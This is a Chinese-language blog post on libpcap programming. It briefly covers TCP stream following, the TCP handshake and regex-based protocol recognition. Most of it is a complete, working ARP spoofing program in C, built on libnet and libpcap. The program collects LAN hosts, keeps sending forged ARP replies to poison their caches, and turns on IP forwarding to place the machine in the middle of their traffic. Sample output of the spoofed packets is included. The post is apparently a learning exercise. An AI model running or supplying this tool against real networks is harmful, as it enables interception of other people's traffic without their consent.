http://www.cnblogs.com/Seiyagoo/archive/2012/06/30/2571383.html
一、提取端到端的流数据
在wireshark抓包的过程中,发现了一个比较实用的功能,就是follow tcp stream,也即跟踪端到端之间两个主机间的所有应用层数据,于是我就自己尝试着实现这个功能,构造五元组数据结构,比较判断是否是相同连接。
由于有了上篇设计的流表,follow tcp stream的功能很容易实现,只需在原来的流表基础上,在五元组数据结构中添加一个指针域,指向该五元组的应用层数据结点。没识别一个相同的tcp或者udp连接,便插入该数据结点链表中,
所以follow tcp stream只需要遍历整个流表:1、计算hash;2、遍历五元组链表并比较;3、找到该五元组后,顺序遍历并打印应用层数据结点内容即可。
以下是follow tcp stream的运行结果:
为了提高应用层数据的可读性并直观的表示,下面是应用层数据打印的结果(跟wireshark图形界面显示的一样):
二、arp欺骗
基本原理我就不罗嗦了,可以参考下面的文章(讲得非常不错):
但是作者的代码运行却出现了很多错误,我猜测是libnet的版本问题,所以参照新版本的libnet的API修改了源代码:
1 #include <stdarg.h>
2
3 #include <libnet.h>
4
5 #include <pcap.h>
6
7 #include <signal.h>
8
9
10
11 #define SECONDS 10
12
13 typedef struct host HOST;//存放主机信息的链表
14
15
16
17 struct host
18
19 {
20
21 u_long ip; //IP地址
22
23 u_char mac[ETHER_ADDR_LEN];//MAC地址
24
25 int mac_flag; // 0 时mac为空,1时mac不为空
26
27 HOST * next;
28
29 };
30
31 HOST * head, * tail;
32
33
34
35
36
37 typedef struct arphdr
38
39 {
40
41 u_int16_t ar_hrd; /*format of hardware address*/
42
43 u_int16_t ar_pro; /*format of protocol address*/
44
45 u_char ar_hln; /*length of hardware address*/
46
47 u_char ar_pln; /*length of protocol address*/
48
49 u_int16_t ar_op; /*ARP/RARP operation*/
50
51
52
53 u_char ar_sha[6]; /*sender hardware address*/
54
55 u_char ar_spa[4]; /*sender IP address*/
56
57 u_char ar_tha[6]; /*target hardware address*/
58
59 u_char ar_tpa[4]; /*target IP address*/
60
61 }arphdr_t ;
62
63
64
65
66
67 u_long MYIP ;//本机IP地址
68
69 u_char MYMAC[ETHER_ADDR_LEN];//本机MAC地址
70
71
72
73 int pktsize = LIBNET_ETH_H + LIBNET_ARP_H; //数据包
74
75 char * device;
76
77 pcap_t * p;
78
79 u_char errbuf[LIBNET_ERRBUF_SIZE >= PCAP_ERRBUF_SIZE ? LIBNET_ERRBUF_SIZE : PCAP_ERRBUF_SIZE];
80
81 u_char * packet;
82
83 libnet_t * netif;
84
85
86 int errexit(const char *format, ...)
87
88 {
89
90 va_list args;
91
92
93
94 va_start(args, format);
95
96 vfprintf(stderr, format, args);
97
98 va_end(args);
99
100 exit(1);
101
102 }
103
104
105
106 int mac_equal(u_char * mac1, u_char *mac2)
107
108 {
109
110 return ( memcmp(mac1, mac2, ETHER_ADDR_LEN) == 0 ? 1 : 0);//比较mac1与mac2的地址是否相等,相等返回1
111
112 }
113
114
115
116
117
118 /*
119
120 @param:ip,源ip/目的ip;mac,源mac/目的mac
121
122 @func:被动收集网络拓朴结构,向链表增加主机信息
123
124 @note:每收到一个ARP请求/应答包,都执行add_host( )两次:add_host(发送端IP,发送端MAC),add_host(目的端IP,目的端MAC)。
125
126 */
127
128 void add_host(u_long ip, u_char * mac)
129
130 {
131
132 HOST * new = NULL;
133
134 HOST * cur = NULL;
135
136
137
138 if( (ip == MYIP) || (mac && mac_equal(mac, MYMAC)) )//正常的ARP请求包和应答包,IP或MAC地址为本机的则忽略
139
140 return;
141
142
143
144 // 遍历链表查询IP地址
145
146 for(cur = head; cur; cur = cur->next)
147
148 {
149
150 if( ip == cur->ip )//链表中存在该IP
151
152 {
153
154 if( mac ) // MAC不为空,则写入
155
156 {
157
158 memcpy(cur->mac, mac, ETHER_ADDR_LEN); //update mac message
159
160 cur->mac_flag = 1;
161
162 }
163
164 return;
165
166 }
167
168 }
169
170 if(cur == NULL) // 链表中没有该IP地址(ip!=cur->ip),则增加一个HOST节点
171
172 {
173
174 new = (HOST *)malloc(sizeof(HOST));
175
176 new->ip = ip;
177
178 if( mac )
179
180 {
181
182 memcpy(new->mac, mac, ETHER_ADDR_LEN);
183
184 new->mac_flag = 1;
185
186 }
187
188 else
189
190 new->mac_flag = 0;//ARP请求
191
192
193
194 new->next = NULL;
195
196 if(! head)//把新节点加入链表
197
198 {
199
200 head = new;
201
202 tail = new;
203
204 }
205
206 else
207
208 {
209
210 tail->next = new;
211
212 tail = new;
213
214 }
215
216 }
217
218
219
220 return;
221
222 }
223
224
225
226 void free_chain()
227
228 {
229
230 HOST * temp;
231
232
233
234 for(temp = head; temp; temp = head)
235
236 {
237
238 head = temp->next;
239
240 free(temp);
241
242 }
243
244 }
245
246
247
248 void print_chain()
249
250 {
251
252 HOST * cur;
253
254 char str[16];
255
256 printf("\n遍历链表\n");
257
258 for(cur = head; cur; cur = cur->next)
259
260 {
261
262 if(cur->mac_flag == 1)
263
264 printf("(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)[%s]\n",
265
266 cur->mac[0], cur->mac[1], cur->mac[2], cur->mac[3], cur->mac[4], cur->mac[5],
267
268 inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));//inet_ntop将整数转换成点分十进制
269
270 else
271
272 printf("(null)[%s]\n", inet_ntop(AF_INET, (void *)&cur->ip, str,sizeof(str)));
273
274 }
275
276 }
277
278
279
280 void sig_quit(int signo)
281
282 {
283
284 printf("caught SIGQUIT, free memory and close and exit !\n");
285
286 free_chain();
287
288 pcap_close(p);
289
290 libnet_destroy(netif);//单数据包内存释放
291
292 libnet_close_link(netif);//关闭链路层接口设备
293
294 exit(0);
295
296 }
297
298
299
300 void send_fake_arp_packet()//发送伪造数据包
301
302 {
303
304 HOST * temp, * cur;
305
306 u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
307
308
309
310 for(cur = head; cur ; cur = cur->next)
311
312 {
313
314 if( cur->mac_flag == 0) // 发送arp请求包给cur->ip以求该ip的mac地址
315
316 {
317
318 libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);//构造以太网协议数据包
319
320 libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
321
322 MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, netif, 0);//构造ARP数据包
323
324 //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)//发送链路层数据包
325
326 if(libnet_write(netif) == -1)
327
328 errexit("libnet_write_link_layer error1\n");
329
330 continue;
331
332 }
333
334 for(temp = head; temp; temp = temp->next)
335
336 {
337
338 if (temp == cur)
339
340 continue;
341
342
343
344 libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, netif, 0);
345
346 libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
347
348 MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, netif, 0);
349
350 //if((libnet_write_link(netif, packet, (LIBNET_ETH_H + LIBNET_ARP_H))) < 0)
351
352 if(libnet_write(netif) == -1)
353
354 {
355
356 perror("write_link");
357
358 errexit("libnet_write_link_layer error2\n");
359
360 }else {printf("\n write ok!\n");}
361
362 }
363
364 }
365
366 printf("\nStart Send Arp Packet\n");
367
368 }
369
370
371
372 void sig_arp(int signal)
373
374 {
375
376 send_fake_arp_packet();
377
378 alarm(SECONDS);
379
380 return;
381
382 }
383
384
385
386 void linux_enable_ip_forwarding(void)
387
388 {
389
390 u_char *proc_node = "/proc/sys/net/ipv4/ip_forward";
391
392 FILE *fp;
393
394
395
396 if((fp = fopen(proc_node, "w")) == NULL)
397
398 errexit("fopen FILE %s error\n", proc_node);
399
400 if((fputs("1", fp)) == EOF)
401
402 errexit("fputs FILE %s error\n", proc_node);
403
404 fclose(fp);
405
406
407
408 printf("IP forwarding enabled successfully\n");
409
410 }
411
412
413
414 int main(int argc, char ** argv)
415
416 {
417
418 unsigned int localnet, netmask;
419
420 char str1[16], str2[16];
421
422 char * ptr, * data ;
423
424
425
426 struct bpf_program fcode;
427
428 struct pcap_pkthdr hdr;
429
430
431
432 struct libnet_ethernet_hdr * eth;
433
434 arphdr_t *arp;
435
436 struct libnet_ether_addr * my_ether_addr;
437
438
439
440 //struct libnet_l *libnet_ptr;
441
442 if ( (device = pcap_lookupdev(errbuf)) == NULL)//获取网络接口
443
444 errexit("pcap_lookup: %s", errbuf);
445
446 printf("device = %s\n", device);
447
448
449
450 if ( (p = pcap_open_live(device, 8000, 1, 500, errbuf)) == NULL)//获得用于捕获网络数据包的数据包捕获描述字
451
452 errexit("pcap_open_live: %s", errbuf);
453
454
455
456 if (pcap_lookupnet(device, &localnet, &netmask, errbuf) < 0)//获取网络号
457
458 errexit("pcap_lookupnet: %s", errbuf);
459
460
461
462 printf("localnet = %s, netmask = %s\n",
463
464 inet_ntop(AF_INET, &localnet, str1, sizeof(str1)),
465
466 inet_ntop(AF_INET, &netmask, str2, sizeof(str2)));
467
468
469
470 printf("datalink = %d\n", pcap_datalink(p));//返回链路层类型
471
472
473
474
475
476 if(argv[1] != NULL) // 设置过滤包
477
478 {
479
480 if(pcap_compile(p, &fcode, argv[1], 0, netmask) < 0)//将argv【1】编译到过滤程序中
481
482 errexit("pcap_compile : %s\n", errbuf);
483
484
485
486 if(pcap_setfilter(p, &fcode) < 0)//把一个过滤器同一次抓包关联起来
487
488 errexit("pcap_setfilter : %s\n", errbuf);
489
490 }
491
492
493
494 if ( signal(SIGALRM, sig_arp) == SIG_ERR )
495
496 errexit("signal error\n");
497
498
499
500 //LIBNET_LINK or LIBNET_LINK_ADV
501
502 netif = libnet_init(LIBNET_LINK_ADV, device, errbuf);//第一个参数设定这个实列是在链路层工作,还是在IP层工作。
503
504 if(netif == NULL)
505
506 perror("netif");
507
508
509
510 if((my_ether_addr = libnet_get_hwaddr(netif)) == NULL)//获取接口设备硬件地址
511
512 errexit("libnet_get_hwaddr : %s\n", errbuf);
513
514 memcpy(MYMAC, (u_char *)my_ether_addr, ETHER_ADDR_LEN);
515
516
517
518 if((MYIP = libnet_get_ipaddr4(netif)) == 0)//获取接口设备IP地址
519
520 errexit("libnet_get_ipaddr : %s\n", errbuf);
521
522 MYIP = htonl(MYIP);//将主机字节顺序转换成网络字节顺序
523
524
525
526 printf("MYIP = %s\n", inet_ntop(AF_INET, (void *)&MYIP, str1,sizeof(str1)));
527
528 printf("MYMAC = %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",MYMAC[0], MYMAC[1],MYMAC[2],MYMAC[3],MYMAC[4],MYMAC[5]);
529
530 linux_enable_ip_forwarding();
531
532
533
534 fflush(stdout);//消除输出缓冲区
535
536 signal(SIGINT, sig_quit);
537
538 sig_arp(SIGALRM);
539
540
541 for( ; ; )
542
543 {
544
545 while((ptr = (char *)(pcap_next(p, &hdr))) == NULL);
546
547 eth = (struct libnet_ethernet_hdr *)ptr;
548
549 if(eth->ether_type == ntohs(ETHERTYPE_ARP))
550
551 {
552
553 arp = (arphdr_t *)(ptr+14);
554
555 if(ntohs(arp->ar_op) == ARPOP_REQUEST)
556
557 {
558
559 printf("arp request : ");
560
561 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ask the MAC of IP = ",
562
563 inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)), //源ip:源mac
564
565 arp->ar_sha[0],
566
567 arp->ar_sha[1],
568
569 arp->ar_sha[2],
570
571 arp->ar_sha[3],
572
573 arp->ar_sha[4],
574
575 arp->ar_sha[5]);
576
577 printf("%s\n", inet_ntop(AF_INET, (void *)&arp->ar_tpa, str1,sizeof(str1))); //目的ip
578
579
580 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
581
582 printf("\n添加目的ip,mac\n");
583
584 add_host(*((u_long *)arp->ar_tpa), (u_char *)NULL); // 添加目的IP,MAC(NULL)
585
586
587
588 print_chain();
589
590 fflush(stdout);
591
592 continue;
593
594 }
595
596
597
598 if(ntohs(arp->ar_op) == ARPOP_REPLY)
599
600 {
601
602 printf("arp reply : ");
603
604 printf("%s reply ", inet_ntop(AF_INET, (void *)&arp->ar_spa, str1, sizeof(str1)));
605
606
607
608 printf("%s(%.2x:%.2x:%.2x:%.2x:%.2x:%.2x) ",
609
610 inet_ntop(AF_INET,(void *)&arp->ar_tpa, str1, sizeof(str1)),
611
612 arp->ar_tha[0],
613
614 arp->ar_tha[1],
615
616 arp->ar_tha[2],
617
618 arp->ar_tha[3],
619
620 arp->ar_tha[4],
621
622 arp->ar_tha[5]);
623
624
625
626 printf("my MAC is (%.2x:%.2x:%.2x:%.2x:%.2x:%.2x)\n",
627
628 arp->ar_sha[0],
629
630 arp->ar_sha[1],
631
632 arp->ar_sha[2],
633
634 arp->ar_sha[3],
635
636 arp->ar_sha[4],
637
638 arp->ar_sha[5]);
639
640
641
642
643
644 if( *((u_long *)arp->ar_spa) != MYIP && mac_equal(arp->ar_sha, MYMAC) )//如果应答包是我发送的欺骗包则忽略
645
646 continue;
647
648
649
650 add_host(*((u_long *)arp->ar_spa), (u_char *)arp->ar_sha); // 添加源IP,MAC
651
652 add_host(*((u_long *)arp->ar_tpa), (u_char *)arp->ar_tha); // 添加目的IP,MAC
653
654 print_chain();
655
656 fflush(stdout);
657
658 continue;
659 }
660 }
661 }
662 }
运行结果:
localnet = 192.168.0.0, netmask = 255.255.255.0
MYIP = 85.0.168.192
MYMAC = 44:87:fc:98:ec:ea
IP forwarding enabled successfully
发送arp响应(欺骗包):
发送端MAC 发送端IP 目的MAC 目的IP
44:87:fc:98:ec:ea 192.168.0.1 44:87:fc:98:ec:eb 192.168.0.41
发送arp响应(欺骗包):
发送端MAC 发送端IP 目的MAC 目的IP
44:87:fc:98:ec:ea 192.168.0.127 44:87:fc:98:ec:eb 192.168.0.41
发送arp响应(欺骗包):
发送端MAC 发送端IP 目的MAC 目的IP
44:87:fc:98:ec:ea 192.168.0.41 00:1a:64:a3:2b:e2 192.168.0.1
发送arp响应(欺骗包):
发送端MAC 发送端IP 目的MAC 目的IP
44:87:fc:98:ec:ea 192.168.0.127 00:1a:64:a3:2b:e2 192.168.0.1
发送arp请求(欺骗包):
发送端MAC 发送端IP 目的MAC 目的IP
44:87:fc:98:ec:ea 192.168.0.85 ff:ff:ff:ff:ff:ff 192.168.0.127
Start Send Fake Arp Packet
arp request : 192.168.0.1(00:1a:64:a3:2b:e2) ask IP ——> "tell me you mac" 192.168.0.127
遍历主机链表格式:(MAC)[IP]
***************************
(44:87:fc:98:ec:eb)[192.168.0.41]
(00:1a:64:a3:2b:e2)[192.168.0.1]
(null)[192.168.0.127]
***************************
三、三次握手
这个直接上图了
四、基于正则表达式的应用层协议识别
以下是基本设计思路:
将各应用层协议正则模式串文件放到系统指定目录下,这些文件都可以从L7-filter官网下载:http://l7-filter.sourceforge.net/
详细设计流程:
PS:暂时实现了FTP、HTTP的识别,其他协议还不清楚原因。
我把libpcap下编程的一些资料整理后放到新浪爱问中了,有需要的童鞋可以前往下载